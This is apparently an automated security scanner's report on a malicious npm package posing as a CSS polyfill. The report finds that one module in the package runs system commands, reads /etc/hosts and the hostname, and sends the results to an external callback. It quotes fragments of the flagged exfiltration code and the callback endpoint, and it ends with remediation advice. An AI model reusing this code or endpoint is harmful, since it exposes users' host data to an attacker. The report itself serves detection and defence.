registry / Data exfiltration / css-hgwctv-polyfill
css-hgwctv-polyfill
CSS polyfill utility
This report shows the evidence for css-hgwctv-polyfill@1.0.0, the only known version.
AI Security Review
scanned 18d ago · by lpm-firewall-aiInspected source proves automatic system reconnaissance and external data transmission unrelated to a CSS polyfill. This is an active data-exfiltration attack when the registry module is loaded, despite the inert default entrypoint.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Loading thunderboltRegistry.js in an environment providing Node.js capabilities and fetch.
Impact
Exposes user identity, hostname, operating system details, network interfaces, and host configuration without consent.
Mechanism
A top-level function executes shell commands, reads host configuration, and sends encoded results through HTTP requests.
Attack narrative
The package publishes a registry module referenced by its bundled manifest. Loading that module immediately runs reconnaissance commands and forwards their results, including host configuration, to a fixed external recipient. Execution and network failures are silently caught. The empty default entrypoint limits activation but does not neutralize the executable attack in the published registry module.
AI rationale
Inspected source proves automatic system reconnaissance and external data transmission unrelated to a CSS polyfill. This is an active data-exfiltration attack when the registry module is loaded, despite the inert default entrypoint.
Evidence
thunderboltRegistry.jsregistry-manifest.min.jsonpackage.json/etc/hosts
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- thunderboltRegistry.js sends collected data and the hostname to a fixed external HTTP callback.
- Loading thunderboltRegistry.js immediately executes system commands and forwards their output.
- The module reads /etc/hosts and sends its contents to the callback.
- registry-manifest.min.json maps registry assets to the executable module.
- package.json explicitly includes the registry manifest and executable module in published files.
Evidence against
- There are no install lifecycle hooks, and index.js only exports an empty object.
- The attack requires loading the registry module; importing the default entrypoint does not activate it.
Behavioral surface
ChildProcessNetworkShell
UrlStrings
Source & flagged code
8 flagged · loading sourcethunderboltRegistry.jsView file
10L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]";
L12: var site = "unknown";
L13: try { site = require("os").hostname(); } catch(e) {}
L14: var exfil = function(params) {
...
L18: var cp = null;
L19: try { cp = require("child_process"); } catch(e) {}
L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {}
High
Sandbox Evasion Gated Capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
thunderboltRegistry.jsView on unpkg · L10•matchType = normalized_sha256
matchedPackage = css-reading-flow-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = e9cbfffc3017b8e0
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = css-reading-flow-polyfill@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:[redacted]:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
Findings
8 High1 Medium1 Low
HighSandbox Evasion Gated CapabilitythunderboltRegistry.js
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review Evidencepackage.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to css-hgwctv-polyfill@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing css-hgwctv-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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